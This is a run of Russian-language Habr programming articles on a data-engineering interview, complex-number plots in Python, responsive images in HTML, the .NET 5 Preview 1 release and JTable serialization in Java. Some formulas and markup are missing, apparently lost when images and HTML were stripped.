Это очень общий вопрос, в ходе обсуждения которого мы бы хотели, чтобы кандидат, среди прочего, затронул тему дисбаланса в данных и то, как с ним справиться. Тема дисбаланса даёт отличный контекст для разговора про поиск узких мест, оптимизацию вычислений, про разные виды join в Spark, чем они отличаются, когда применяются и тому подобное.
**Совет:** вспомните и расскажите про самые сложные, на ваш взгляд, проблемы и ошибки, с которыми вы сталкивались, как их решили и чему научились. Если про проблему маленьких файлов в hadoop вы знаете не в теории, а потому что в своё время завалили кластер, а потом досконально разобрались в том, почему так делать не стоит, — это даст вам дополнительные очки в наших глазах.
Понимание того, как технология работает под капотом
---------------------------------------------------
*Вам нужно посчитать количество уникальных значений в неком числовом поле, которое имеет тип Long (8 байт). Какой запрос вы для этого напишете? Расскажите, как Spark будет выполнять этот запрос, настолько детализировано, насколько сможете.*
Данный вопрос, при всей своей кажущейся простоте, имеет несколько вложенных уровней сложности и позволяет достаточно точно определить позицию кандидата по шкале от «может написать запрос» до «имеет знания редкой глубины». Ещё раз напомню, что каждый новый виток усложнений, когда вас просят детальнее рассказать про те или иные аспекты, означает, что вы на верном пути, и пока всё идёт хорошо.
**Совет:** вспомните кейсы из вашей практики, когда вам приходилось оптимизировать вычисления и вникать в то, как именно исполняет запросы Spark. Мы спросим вас про такие кейсы, и тогда разговор можно будет построить вокруг них, что будет для вас гораздо комфортнее, чем общие вопросы.
SQL и проектирование схемы данных
---------------------------------
Обычно мы просим кандидата спроектировать небольшую схему и написать SQL-запрос для решения определённой задачи. Цель специально ставится в очень общей формулировке, и ожидается, что кандидат прежде всего начнет с уточнения требований и ограничений, прежде чем предлагать решение или писать какой-либо код.
*Вас просят спроектировать схему данных и написать запросы для формирования дашборда по РТО (розничный товарооборот) и маржинальности магазинов новой торговой сети «Десяточка» по месяцам в разрезе городов и категорий товаров.*
Здесь мы ожидаем, что кандидат сначала будет уточнять постановку задачи, например, так:
* Сколько товаров, магазинов и категорий? — 100К товаров, 20К магазинов, 300 категорий.
* Сколько продаж в месяц? — Пара миллиардов записей каждый месяц.
* За какой период храним данные? — За несколько лет, накапливаем новые данные по продажам.
* Как часто обновляются данные? — Раз в месяц.
* Какого рода запросы предполагается обрабатывать? — Сценарии использования могут быть разными: к примеру, посмотреть, как изменялись помесячно товарооборот и маржинальность по определенным категориям за последние три года или посмотреть топ-10 городов по товарообороту для всех категорий за последний месяц.
**Совет:** если вы затрудняетесь предложить решение, которое удовлетворяет всем заданным условиям, выберите ту часть требований, для которых вы можете предложить решение и сосредоточьтесь на них. Явно обозначьте, каким ограничениям ваш вариант удовлетворяет, а каким нет — это совершенно нормальный вариант развития событий.
Одно из возможных решений, которое можно предложить, опираясь на полученные вводные, приводим ниже.
### Общий подход к решению
Продаж в месяц очень много (более двух миллиардов), хочется хранить и накапливать их историю. Для этих целей хорошо подойдет БД Hive, но она не справится с быстрой аналитикой данных для дашборда, поэтому можем реализовать решение в два этапа:
1. Храним сырую историю продаж в Hive.
2. Сырые продажи можно агрегировать в нужном нам виде (месяц, город, категория) и загружать в более быструю базу для аналитики (OLAP). В качестве такой базы можно использовать ClickHouse, он способен быстро давать результат по аналитическим запросам.
### Схема данных
Подход к решению предложен, теперь набросаем возможную структуру схемы для хранения данных. Начнём с Hive.
```
sales:
sku_code: int
store_code: int
selling_price: float
cost_price: float
sale_date: date
stores:
store_code: int
store_city: string
skus:
sku_code: int
sku_category: string
```
Теперь перейдём к ClickHouse.
```
sales_by_city_category:
sku_category: String
month: Date
store_city: String
rto: Float64
margin: Float64
```
### Запросы
Запрос для первичной загрузки данных в Clickhouse.
```
select sum(selling_price - cost_price) as margin
sum(selling_price) as rto,
store_city,
sku_category,
month(sale_date)
from sales join stores on sales.store_code = stores.store_code
join skus on sales.sku_code = skus.sku_code
group by store_city, sku_category, month(sale_date)
```
Запрос для загрузки новых данных за очередной месяц.
```
select sum(selling_price - cost_price) as margin
sum(selling_price) as rto,
store_city,
sku_category,
month(sale_date)
from sales join stores on sales.store_code = stores.store_code
join skus on sales.sku_code = skus.sku_code
where month(sales.sale_date) = month(from_unixtime(unix_timestamp()))
group by store_city, sku_category, month(sale_date)
```
Пример запроса для дашборда: сумма всех категорий по городам за текущий месяц.
```
select sum(rto) as rto,
sum(margin) as margin,
store_city
from sales_by_city_category
where month = date_trunc('month', now())
group by store_city
```
Пример запроса для дашборда: сумма всех городов по категориям за текущий месяц.
```
select sum(rto) as rto,
sum(margin) as margin,
sku_category
from sales_by_city_category
where month = date_trunc('month', now())
group by sku_category
```
Что ещё спрашиваем на интервью?
-------------------------------
Если у вас есть опыт с Docker, K8S, Airflow, NoSQL, Kafka или Gitlab Ci/CD, то нам было бы интересно его обсудить. Типовых вопросов тут как правило нет, мы отталкиваемся от того, что про свой опыт рассказывает кандидат и точечно проясняем интересующие нас моменты.
Надеемся, что эта информация позволит вам составить верное представление о том, как проходит интервью, чего стоит ожидать и как лучше подготовиться.
> Мы ищем Data Engeneer со знанием Python, Hadoop, Spark. Чтобы узнать подробности, можно посмотреть [нашу вакансию](https://career.habr.com/vacancies/1000084305).
>
> | https://habr.com/ru/post/584966/ | null | ru | null |
# Играемся с комплексными числами
Привет!
Очередной очерк. На этот раз поиграемся с комплексными числами, с формулами и их визуализацией.
### Идея
Комплексное число — это некоторое расширение вещественного числа, по сути вектор, для которого определено целое множество аксиом. Любое комплексное (а значит и вещественное) число можно записать в виде , где a — вещественная часть, b — мнимая, i — корень уравнения . Для него определено много операций, которые определены для вещественного числа, к примеру, . Интересно, что если проделывать различные операции с ними, возводить в степень, умножать и т. д. а затем брать  (вещественную часть) для оси Ox, а  (мнимую часть) для оси Oy, можно получать забавные картинки.
Кстати все следующие формулы я сам придумал.
### Функция визуализации
Рутина. Функция, которая по данной итеративной функции рисует все на поле:
```
import random
import numpy as np
def vis(A, f, step=1.0, c=None):
x = []
y = []
for B in np.arange(0, A, step):
v = f(A, B)
x.append(v.real)
y.append(v.imag)
plt.figure(figsize=[8, 8])
mxabs = max([i[0] ** 2 + i[1] ** 2 for i in zip(x, y)]) ** 0.5
x = np.array(x) / mxabs
y = np.array(y) / mxabs
if c is None:
plt.scatter(x, y)
else:
plt.scatter(x, y, color=[c(x[i], y[i]) for i in range(len(x))])
plt.show()
```
Все наши функции зависят от двух параметров A и B. Причем по B мы итерируемся внутри vis(), а A — глобальный параметр функции.
### Функция «Завитушки»
Ее объявление в python:
```
def func_1(A, B):
return math.sin(B) * B * math.e ** (1j * (B * math.cos(A)))
```
И запустим
```
A = 121.5
vis(A, func_1, step=0.1)
```
И результат для A=121.5:
И для A=221.5:
Заметьте, эти числа вовсе не следуют из расчета какого-нибудь определенного интеграла на гладком многообразии и других умных бессмысленных в этом контексте слов. Это действительно рандомные числа, и существует еще ровно бесконечность разных A, в результате которых получается красота.
### Надо покрасить
Объявим функцию цвета (такую функцию, которая по координатам возвращает tuple из трех чисел):
```
def sigm(x): # Эта функция позволяет нормализировать все что угодно от 0 до 1
return (1 / (1 + 1.2 ** (-x*50)) - 0.5) * 2
color_1 = lambda x, y: (0.2, sigm(x ** 2 + y ** 2) / 1.4, 1 - sigm(x ** 2 + y ** 2))
color_2 = lambda x, y: (sigm(x ** 2 + y ** 2), 0.5, 0.5)
```
Выберем рандомный параметр A, пусть будет 149:
```
vis(149, func_1, step=0.1, c=color_1)
```
### Функция «Гуси»
Гуси описываются так:
Объявление на python:
```
def func_2(A, B):
return math.cos(B) * math.sin(B) * B * math.e ** (1j * (B * math.cos(A)))
```
Ее результат для A=106:
### Функция «Фокачча»
```
def func_3(A, B):
return math.cos((A + 1) * B) * math.e ** (1j * (B * math.cos(A)))
```
```
vis(246, func_3, step=0.1, c=color_2)
```
```
vis(246, func_3, step=0.1, c=color_2)
```
### Функция «Без названия»
```
color_3 = lambda x, y: (0.5, 0.5, sigm(x ** 2 + y ** 2))
vis(162, func_4, step=0.1, c=color_3)
```
```
vis(179, func_4, step=0.1, c=color_3)
```
### Формула красоты
```
def func_5(A, B):
return math.cos((A + 1) * B) ** 1.5 * math.e ** (1j * (B * math.cos(A)))
```
```
color_4 = lambda x, y: (sigm(x ** 2 + y ** 2) / 2, 0.5, 1 - sigm(x ** 2 + y ** 2))
vis(345, func_5, step=0.1, c=color_4)
```
```
vis(350, func_5, step=0.1, c=color_4)
```
Пока все.
**Весь код**
```
import numpy as np
import random
import matplotlib.pyplot as plt
import math
def vis(A, f, step=1.0, c=None):
x = []
y = []
for B in np.arange(0, A, step):
v = f(A, B)
x.append(v.real)
y.append(v.imag)
plt.figure(figsize=[7, 7])
mxabs = max([i[0] ** 2 + i[1] ** 2 for i in zip(x, y)]) ** 0.5
x = np.array(x) / mxabs
y = np.array(y) / mxabs
if c is None:
plt.scatter(x, y)
else:
plt.scatter(x, y, color=[c(x[i], y[i]) for i in range(len(x))])
plt.show()
def func_1(A, B):
return math.sin(B) * B * math.e ** (1j * (B * math.cos(A)))
def func_2(A, B):
return math.cos(B) * math.sin(B) * B * math.e ** (1j * (B * math.cos(A)))
def func_3(A, B):
return math.cos((A + 1) * B) * math.e ** (1j * (B * math.cos(A)))
def func_4(A, B):
return math.sin(A + B) * B * math.e ** (1j * B * math.sin(A))
def func_5(A, B):
return math.cos((A + 1) * B) ** 1.5 * math.e ** (1j * (B * math.cos(A)))
def sigm(x):
return (1 / (1 + 1.2 ** (-x*50)) - 0.5) * 2
color_1 = lambda x, y: (0.2, sigm(x ** 2 + y ** 2) / 1.4, 1 - sigm(x ** 2 + y ** 2))
color_2 = lambda x, y: (sigm(x ** 2 + y ** 2), 0.5, 0.5)
color_3 = lambda x, y: (0.5, 0.5, sigm(x ** 2 + y ** 2))
color_4 = lambda x, y: (sigm(x ** 2 + y ** 2) / 2, 0.5, 1 - sigm(x ** 2 + y ** 2))
colors = [color_1, color_2, color_3, color_4]
funcs = [func_1, func_2, func_3, func_4, func_5]
while True:
col = random.choice(colors)
func = random.choice(funcs)
vis(random.random() * 200 + 100, func, step=0.1, c=col)
if input() == "exit":
break
```
**Еще скриншоты**
 | https://habr.com/ru/post/468781/ | null | ru | null |
# Отзывчивые изображения на практике (Часть 1)
[Часть 2](http://habrahabr.ru/company/paysto/blog/244177/)
[Часть 3](http://habrahabr.ru/company/paysto/blog/244241/)
[Шестьдесят два процента данных](http://httparchive.org/interesting.php#bytesperpage) в сети составляют изображения, и мы [каждый день](http://httparchive.org/trends.php?s=All&minlabel=Nov+15+2010&maxlabel=Oct+15+2014#bytesImg&reqImg) создаем все больше байтов изображений. Это было бы потрясающе, если бы все они использовались по назначению. Но на маленьких экранах или на экранах с низким разрешением большая часть этих данных превращается в [хлам](http://timkadlec.com/2013/06/why-we-need-responsive-images/).
Почему? Даже несмотря на то, что Интернет был создан таким образом, чтобы доступ к нему мог получить кто угодно, через что угодно, только недавно разнообразие устройств достигло того уровня, чтобы спровоцировать масштабное движение в сторону отзывчивого дизайна. Когда мы создаем отзывчивый дизайн, наш контент элегантно и эффективно вливается в любое устройство. Весь наш контент, за исключением растровых изображений. Растровые картинки имеют фиксированное разрешение. Их сосуд – его преподобие с его печально одиноким src— не может адаптироваться.
Столкнувшись с выбором – либо делать страницы размытыми для некоторых или медленными для всех – большинство дизайнеров выбирают последний вариант, отправляя всем изображения, предназначенные для заполнения огромных экранов с высоким разрешением. То есть, хлам.
Но! Спустя три года споров появилось несколько элементов разметки, способных решить проблему с отзывчивыми изображениями:
• srcset
• sizes
• picture
• и наш старый друг source (взятый из тегов audio и video)
Эти новые элементы и атрибуты позволяют нам размечать, изменять и преподносить каждому клиенту исходник, который максимально ему подходит. Они пробились в официальные спецификации и их первую полноценную реализацию – в Chrome 38, выпущенном в сентябре. С их элегантным снижением требований и [полизаполнением](http://scottjehl.github.io/picturefill/), позволяющим сократить разрыв, мы можем и должны начать использовать отзывчивые изображения уже сейчас. Поэтому, начнем!
Давайте возьмем существующую веб-страницу и сделаем изображения на ней отзывчивыми. Это можно сделать в три этапа, применяя по очереди каждый новый элемент разметки:
1. Делаем, чтобы наши изображения эффективно масштабировались, с помощью srcset и sizes.
2. Режиссируем наши изображения с помощью picture и source media.
3. Обеспечиваем альтернативный формат изображений с помощью picture и source type.
В процессе мы сами увидим, насколько новые функции повышают производительность.
**Статус-кво**
> Наверное, меня не так волнует быть старым, как быть толстым и старым
>
>
>
> Бенджамин Франклин (или это был Питер Гэбриэл?)
>
>
В качестве нашего объекта мы возьмем небольшую [страницу](http://alistapart.com/d/407/demo/status-quo.html) о лоскутных одеялах. Это простая отзывчивая страница. Здесь немного контента: только огромные изображения (одеял!). Мы хотим показать одновременно и общий дизайн каждого одеяла, и как можно больше сложных деталей. Поэтому для каждого одеяла мы представляем два изображения:
1. Общий вид одеяла, подогнанный под ширину абзаца
2. Подробное изображение, занимающее 100 процентов ширины экрана
Как бы мы устанавливали размер и размечали наши изображения без новых элементов разметки? Сначала целые одеяла. Чтобы убедиться, что они всегда будут выглядеть четко, нам необходимо определить максимально-допустимый размер их макета. Вот пример CSS:
```
* {
box-sizing: border-box;
}
body {
font-size: 1.25em;
}
figure {
padding: 0 1em;
max-width: 33em;
}
img {
display: block;
width: 100%;
}
```
Мы можем рассчитать максимальную ширину отображения img, взяв максимальную ширину (max-width) изображения (figure), отняв от нее отступ (padding) и преобразовав «em» в пиксели:
```
100% ![]() width x ( 33em max-width - 2em padding ) x 1.25em font-size x 16px default font-size = 620px
```
Или мы можем схитрить и заглянуть в инструменты разработчика:
(Я предпочитаю второй способ.)
Любым из способов мы получаем максимальную ширину отображения img целого одеяла в 620 пикселей. Мы сделаем наше исходное изображение в два раза больше, чтобы подогнать под экраны вдвое большего размера – шириной 1240 пикселей.
Но как быть с нашими подробными изображениями? Они растягиваются, чтобы заполнить всю ширину окна, размер которого не имеет фиксированного верхнего предела.
Давайте подберем для него какой-нибудь стандарт побольше и увеличим, скажем, до 1920 пикселей в ширину. Когда мы отображаем наши изображения в таких размерах, наша страница становится довольно «тяжелой» и весит 3,5 Мб. Все, за исключением 5,7 Кб, здесь занимают изображения. Мы можем догадываться, что множество байтов таких изображений составляют невидимый излишек при отображении на маленьких экранах с низким разрешением – но насколько много? Давайте разберемся.
**Первая стадия: масштабирование с помощью Scrset и sizes**
Первая проблема, с которой мы столкнемся: заставить изображения эффективно масштабироваться под любую ширину окна и разрешение экрана. Мы примерим несколько разрешений нашего изображения, чтобы иметь возможно выборочно отправлять огромные исходники на огромные экраны и/или экраны с большим разрешением, и более компактные версии для всех остальных. Как? С помощью srcset.
Вот одно из наших подробных изображений на всю ширину окна:
```
//quilt_2-detail.jpg занимает 1920 пикселей в ширину. Давайте сделаем две более компактные версии, например, таким образом:
```
Первое, на что нужно обратить внимание в отношении img – это то, что в нем до сих пор есть src, который будет загружаться в браузерах, не поддерживающих новый синтаксис.
Для более функциональных клиентов мы добавили кое-что новое: атрибут srcset, который содержит разделенный запятыми список URL исходников. После каждого URL мы прописываем «характеристику ширины», которая указывает ширину каждого изображения в пикселях. Ваше изображение имеет размер 1024 x 768? Поставьте 1024w после его URL в srcset. Браузеры, поддерживающие srcset, будут использовать эти значения ширины в пикселях и все, что они знают о текущей среде просмотра, чтобы выбрать, какой из исходников загрузить.
Как они выбирают? Вот, что я больше всего любою в атрибуте srcset: мы не знаем! Мы не можем знать. Логику подбора специально не раскрывают.
Первые предложенные решения проблемы отзывчивых изображений попытались дать авторам больше контроля. Мы бы несли ответственность, создавая исчерпывающие наборы медиа запросов – планы действий, перечисляющие все комбинации размеров и разрешений экранов, с исходником, подогнанным под каждый из них.
Srcset оберегает нас от самих себя. Подробное управление все равно доступно, когда оно нам необходимо (об этом чуть позже), но большую часть времени нам лучше убрать руки с клавиатуры и дать браузеру свободу. Браузеры обладают кладезем знаний об экранах, окнах, соединении и параметрах. Уступая контроль (описывая наши изображения, вместо того, чтобы назначать определенные исходники для тысяч вариантов), мы позволяем браузеру задействовать эти знания. Мы получаем лучший (ориентированный на будущее) функционал при значительно меньшем количестве кода.
[Часть 2](http://habrahabr.ru/company/paysto/blog/244177/)
**Полезные решения Paysto для читателей Хабра:** → [Получите оплату банковской картой прямо сейчас. Без сайта, ИП и ООО.](http://linkcharge.ru/email)
→ [Принимайте оплату от компаний через Интернет. Без сайта, ИП и ООО.](http://linkcharge.ru)
→ [Приём платежей от компаний для Вашего сайта. С документооборотом и обменом оригиналами.](http://linkcharge.ru/api)
→ [Автоматизация продаж и обслуживание сделок с юр.лицами. Без посредника в расчетах.](http://linkcharge.ru/automat) | https://habr.com/ru/post/244175/ | null | ru | null |
# Представляем .NET 5 Preview 1
В конце прошлого года мы выпустили .NET Core 3.0 и 3.1. В этих версиях добавлены модели настольных приложений Windows Forms (WinForms) и WPF, ASP.NET Blazor для создания одностраничных приложений и gRPC для кроссплатформенного обмена сообщениями на основе контрактов. Мы также добавили шаблоны для создания сервисов, крутое генерирование клиентского кода для общения с gRPC, сервисы REST API и многое другое. Мы рады, что .NET Core 3 стала самой быстро-принятой версией .NET, и за последний год у нас появился еще миллион пользователей.
[Мы также работали](https://devblogs.microsoft.com/dotnet/net-core-is-the-future-of-net/) над этими выпусками, чтобы завершить перенос моделей приложений из .NET Framework. В .NET Core 3 мы перенесли все наиболее используемые модели приложений, а также представили новые кроссплатформенные инфраструктуры вместо тех, которые не были портированы.
В ожидании следующего основного выпуска .NET 5 мы продолжим объединять .NET в единую платформу, включив нашу модель приложения для мобильных устройств .NET (Xamarin) в .NET 5. .NET 5 будет включать ASP.NET Core, Entity Framework Core, WinForms, WPF, Xamarin и ML.NET. Впервые вся платформа будет использовать унифицированный BCL (библиотеки базовых классов) для всех моделей приложений. Наличие версии 5, которая выше, чем у .NET Core и .NET Framework, также дает понять, что .NET 5 — это будущее .NET, единой унифицированной платформы для создания приложений любого типа.
Мы говорили это много раз, но мы еще раз повторим; .NET Core, а затем .NET 5 — это .NET, с помощью которого вам стоит создавать все свои новые приложения. .NET Framework будет поддерживаться до тех пор, пока поддерживается сама Windows. Мы будем продолжать обеспечивать безопасность и исправлять ошибки, а также обновлять сетевые и крипто API. Он будет оставаться безопасным и поддерживаться для работы ваших старых приложений на .NET Framework.
Установка .NET 5.0 Preview 1
----------------------------
Сегодня мы выпускаем первую Preview .NET 5, полноценный выход которой запланирован на конец этого года в ноябре.
* [.NET 5.0 Preview 1 SDK](https://dotnet.microsoft.com/download/dotnet-core/5.0)
* [.NET 5.0 Preview 1 Runtime](https://dotnet.microsoft.com/download/dotnet-core/5.0)
Читайте [обновления ASP.NET Core в .NET 5 Preview 1](https://devblogs.microsoft.com/aspnet/asp-net-core-updates-in-net-5-preview-1/), чтобы узнать о сегодняшнем выпуске ASP.NET Core.
В Preview 1 впервые включена поддержка Windows ARM64. Сегодняшняя версия также включает в себя runtime .NET Core. Мы ожидаем, что в Preview 2 будет добавлен SDK (ядро ASP.NET, но не WPF или Windows Forms). Более поздний предварительный просмотр будет включать в себя WPF и Windows Forms. Поддержка Windows ARM64 также будет перенесена в .NET Core 3.1. Мы поделимся более подробной информацией об этом в посте о Preview 2.
Обновление существующих проектов
--------------------------------
Вы можете обновить существующие проекты, обновив целевую платформу следующим образом:
`netcoreapp5.0`
Топ-цели .NET 5
---------------
* Унифицированный опыт .NET SDK:
+ Один BCL (библиотека базовых классов) для всех приложений .NET 5. Сегодня приложения Xamarin используют Mono BCL, но перейдут на использование .NET Core BCL, улучшая совместимость между нашими моделями приложений.
+ Мобильная разработка (Xamarin) интегрирована в .NET 5. Это означает, что .NET SDK будет поддерживать mobile. Например, вы можете использовать «dotnet new XamarinForms» для создания мобильного приложения.
* Нативные приложения, поддерживающие несколько платформ: проект «Одно устройство», который поддерживает приложение, которое может работать на нескольких устройствах, например Window Desktop, Microsoft Duo (Android) и iOS, с использованием собственных элементов управления, поддерживаемых на этих платформах.
* Веб-приложения, поддерживающие несколько платформ: один проект Blazor, который поддерживает приложение, которое может работать в браузерах, на мобильных устройствах и как собственное настольное приложение (например, Windows 10x).
* Собственные облачные приложения: высокопроизводительные микросервисы с одним файлом (.exe) <50 МБ и поддержка создания нескольких проектов (API, веб-интерфейсов, контейнеров) как локально, так и в облаке.
* Непрерывные улучшения, такие как: ускорение алгоритмов в BCL, улучшения поддержки контейнеров во время выполнения, поддержка HTTP3.
Preview 1 еще не содержит результатов всех этих целей, но мы будем продолжать анонсировать больше возможностей в будущих превью.
Улучшения в Preview 1
---------------------
Следующие улучшения в Preview 1:
#### Улучшения производительности регулярных выражений
Мы вложили значительные средства в движок Regex. Во многих протестированных нами выражениях эти улучшения обычно приводят к повышению производительности в 3-6 раз, а в некоторых случаях и к гораздо большему. В скором времени у нас будет пост в блоге, в котором эти улучшения будут описаны более подробно.
#### Улучшение качества кода в RyuJIT
Каждый релиз включает набор улучшений производительности для кода, который генерирует JIT. Мы называем этот тип улучшений «CQ» или качество кода. В большинстве случаев эти улучшения также применяются к коду, созданному для готовых к запуску образов.
* [Улучшения для фолдинга null checks](https://github.com/dotnet/runtime/pull/1735) – Удалите необходимость генерировать null checks в большем количестве случаев, наблюдая больше шаблонов, где null checks, вероятно, не нужны.
* [Настройка общего подвыражения (CSE)](https://github.com/dotnet/runtime/pull/1463) – JIT ищет и сворачивает дублирующиеся выражения, которые нужно оценивать только один раз.
* [Оптимизация «constant\_string».Length](https://github.com/dotnet/runtime/issues/5310) – Оптимизация этого шаблона и свертывание кода до правильного целочисленного значения.
* [JIT: создание базовых списков блоков перед морфингом](https://github.com/dotnet/runtime/pull/1309) – Переупорядочевание фазы в JIT, чтобы раньше можно было использовать ключевые оптимизации, что привело к лучшему качеству кода и меньшему количеству работы для следующих фаз, что увеличивает пропускную способность JIT («TP» в ссылочном PR).
#### Диагностика нагрузки сборки добавлена в event pipe
Мы добавили информацию о загрузке сборки в event pipe. Это улучшение — начало доступности аналогичных диагностических функций, которые являются частью .NET Framework с [Fusion Log Viewer](https://docs.microsoft.com/dotnet/framework/tools/fuslogvw-exe-assembly-binding-log-viewer). Теперь вы можете использовать [dotnet-trace](https://docs.microsoft.com/dotnet/core/diagnostics/dotnet-trace) для сбора этой информации, используя следующую команду:
`dotnet-trace collect --providers Microsoft-Windows-DotNETRuntime:4:4 --process-id [process ID]`
Рабочий процесс описан в разделе [Trace Assembly Loading with Event Pipe](https://github.com/richlander/testapps/tree/master/trace-assembly-loading). Вы можете увидеть информацию о загрузке сборки для простого тестового приложения.
#### API для профилирования событий (Event Pipe)
Event Pipe — это новая подсистема и API, которые мы добавили в .NET Core 2.2, чтобы сделать возможным выполнение диагностик производительности и других в любой операционной системе. В .NET 5.0 Event Pipe был расширен, чтобы профилировщики могли записывать события Event Pipe. Этот сценарий важен для инструментов профилировщиков, которые ранее использовали ETW для мониторинга поведения и производительности приложений.
#### Консолидация репозиториев GitHub
Как часть выпуска .NET 5, мы [сократили количество репозиториев на GitHub](https://github.com/dotnet/runtime/issues/13688), которые использовались для создания и упаковки .NET. Границы репозитория оказывают значительное влияние на многие аспекты проекта, включая сборку и управление проблемами. С .NET Core 1.0 у нас было более 100 репозиториев в ASP.NET, EF и .NET Core. Теперь все изменилось. Мы также перенесли почти все репозитории в dotnet org.
Ознакомьтесь с новыми, консолидированными репозиториями:
* [dotnet/runtime](https://github.com/dotnet/runtime) (были dotnet/corefx, dotnet/coreclr, и dotnet/core-setup)
* [dotnet/aspnetcore](https://github.com/dotnet/aspnetcore) (было множество репозиториев в aspnet org)
* [dotnet/sdk](https://github.com/dotnet/sdk) (были dotnet/sdk, dotnet/cli) | https://habr.com/ru/post/493390/ | null | ru | null |
# JTable и Serializable или таблицы в Java и танцы с бубном при сохранении объектов в файлы
#### Введение
Так получилось, что как дизайнеру, мне необходим простор для творчества при реализации любых зачач в написании программ. Давно я положил глаз на такую платформу как Java, так-как всегда мечтал о кроссплатформенном программном обеспечении. И вот недавно, я решил освоить такой прекрассный компонент в Java, как JTable, ну и по той причине, что всегда любил использовать таблицы в своих программах.
В общем, я поставил перед собой не сложную задачу — создать таблицу, которую мог бы сохранять в файл как объект и паралельно отслеживать введенные пользователем данные подсвечивая ошибки и упрощая общение с таблицей моей программы путем подсвечивания наиболее важных элементов таблицы. Так-как я сторонник программирования по принципу пошаговой отладки при написании кода, наличие готовых кусков стабильного кода в сети Интернет, было для меня очень важным… Но… После тщательных поисков, экспериментально было установлено, что, в сети Интернет есть всего пару нормальных источников для получения более или мение хорошего кода.
Нет-нет, я вас не буду отправлять [сюда](http://www.google.com) (Популярная цитата пользователей javatalks.ru и др. — «перед тем как задать тупой вопрос, посмотрите [здесь](http://www.google.com)...»).
и [сюда](http://docs.oracle.com/javase/tutorial/uiswing/components/table.html). (How to Use Tables — tutorial)
или [сюда](http://docs.oracle.com/javase/tutorial/uiswing/examples/components/index.html#SharedModelDemo) (Using Swing Components: Examples).
или в [стандартный хелп](http://docs.oracle.com/javase/6/docs/api/javax/swing/JTable.html#cellEditor) по таблицам
Хотя, я так говорю не с проста, так-как посмотрев там и поняв, что доки Java немного устарели, как по восприятию, так и по наличию вразумительного рабочего кода (я использовал Java версии 7.01). Но все же, не почитав этих справочных материалов, вы никогда не поймете самой сути, логики и психологии таблиц Java.
По этой причине, ниже описанный стабильный пример сериализации таблицы JTable, будет у вас работать так, как вы этого хотите, лишь при условии понимания того, что вы делаете и что хотите получить. На последок добавлю — некоторые куски кода были собраны в Интернет на разных ресурсах (за что им всем огромное спасибо), но их всех объединяет одно — я сам их отлаживал и притирал к своей программе, то есть идеально работающего кода я так и не нашел. Хотя… нет. Я построил свой код, только потому, что взял с одного из англоязычных ресурсов рабочий код программы сериализации, который у меня вылетал при попытке изменения данных в таблице (ссылка на ресурс к сожалению потерялась)…
Но «о драконах» кода по порядку.
#### О как же ты красноречив, дракон великий Error Log
Ну, теперь самое время сказать мне: «Ты че устраиваешь танцы с бубном? Или не читал [этого](http://habrahabr.ru/blogs/java/60317/)? Гугли получше и не забивай нам всем мозги бирюльками для дизайна… Мы и без него можем обойтись.» И правда, почитав этот перевод книги «Java 2. Том 2. Тонкости программирования. Автора — Кей Хорстман и Гарри Корнелл» (у меня 8-е печатное издание), я обнаружил отличный код:
```
//запись в файл
FileOutputStream fos = new FileOutputStream("temp.out");
ObjectOutputStream oos = new ObjectOutputStream(fos);
SerialTest st = new SerialTest();
oos.writeObject(st);
oos.flush();
oos.close();
//чтение из файла
FileInputStream fis = new FileInputStream("temp.out");
ObjectInputStream oin = new ObjectInputStream(fis);
TestSerial ts = (TestSerial) oin.readObject();
System.out.println("version="+ts.version);
```
который не при каких обстоятельствах не хотел работать с таблицами, куда бы я не ставил магическую мантру «implements Serializable».
-Да ты не реализуй отдельный класс, а тули сразу в JTable при создании своего TableCellRenderer динамически и в нем делай все, что тебе нужно! — говорили одни…
-Неее… Тебе нужен отдельный класс, ведь Java — это не «хухры-мухры» и модели MVC никто не отменял. — говорили другие.
В общем, все эти споры и предложения реализации классов и методов, которые не работали или работали частично, меня очень расстроили и я даже хотел плюнуть на все и сделать таблицу с дефолтным «серым» графическим интерфейсом… Как вдруг, на одном из зарубежных форумов, обнаружил код, который по уверениям автора работал на все сто процентов и подходит под любые капризы дизайнера. Внимательно рассмотрев даный код я нашел метод, который создавал шаблон таблицы, если файл отсутсвовал на диске и заполнял ним таблицу. После проверки кода (очень близкий к указанному выше), я с удивлением обнаружил, что он работает! «О небо!» — подумал я — «Неужели мои молитвы услышаны и я могу отдать бубен обратно своей малышке дочери?!»… Но стоило мне внести в таблицу данные и нажать кнопку сохранить… как бубен, мне опять стал нужен…
Теперь, это стало делом чести! Я не мог позволить каким-то мантрам, влиять на отсутствие или наличие бубна у моей малышки дочери и на нервные срывы у соседей из-за постоянного звучания бубна… Короче, после короткой битвы с выделением в таблице:
```
//это работает, но не всегда
table.clearSelection();
```
я решил обратиться к шаманам всего мира и к самим создателям… И я пошел на баг-трекер Оракла, где с удивлением заметил, что ошибочка то вот [она](http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=4503845).
И длится бой уж много лет, с версии Java «1.4.0-beta2»
Тут я увидел, что особо просветленные шаманы, вроде Kleopatra, там давненько уже отрубают крылья дракона Error Log простым вызовом:
```
//это я сам вставил, пусть данные сохраняться перед фиксацией таблицы
//иначе значение сбросится до примитивного "", что приводит к потере данных во всей строке
table.editingStopped(null);
//а вот, что предложили разработчики Java, по ссылке выше
/*Цитирую:
*
* The first issue in the description deals with the improper behavior
* of losing edits on focus exit the first time but for not subsequent
* attempts. The problem was correctly diagnosed by Kleopatra in bug
* report 4518907. java.swing.JTable indeed does need to set 'editorRemover'
* to null after calls to
* removePropertyChangeListener("focusOwner", editorRemover);
* in both removeNotify() and in removeEditor().
*
*/
//и хоть в английском я не силен, я сделал как они рекомендуют
table.removeEditor();
//это можно не писать и без него работает отлично
table.removeNotify();
```
Ну вот и всё, дракон уж вроде побежден…
Ан нет, он в классы с TableCellRenderer был перемещен…
#### Уроки рисования, или «Нет-нет, мне нужно подсветить строку с ошибкой красненьким»
После не сложных плясок у нового костра разожженного очередными ошибками визуализации таблицы, я обнаружил, что будет уместным реализовать два класса отрисовки таблицы, один для ячеек и второй для названий (ярлыков) колонок:
```
//Класс отрисовки таблицы
class JCTableCellRenderer extends JLabel implements TableCellRenderer, Serializable {}
//класс отрисовки ярлыков колонок
class JColumnRenderer extends JLabel implements TableCellRenderer, Serializable {}
```
Теперь это все нужно объявить:
```
//Грузим наш внешний класс рендера таблицы JCTableCellRenderer
table.setDefaultRenderer(Object.class, new JCTableCellRenderer());
```
В начале метода loadColumn() пишем:
```
//Используем внешний класс JColumnRenderer для прорисовки TableColumn
//используется отдельно от JCTableCellRenderer, так-как это ускоряет вывод и существенно упрощает код
TableCellRenderer renderer = new JColumnRenderer();
```
Все сразу стало на свои места, все данные отлично читались и отрисовывались.
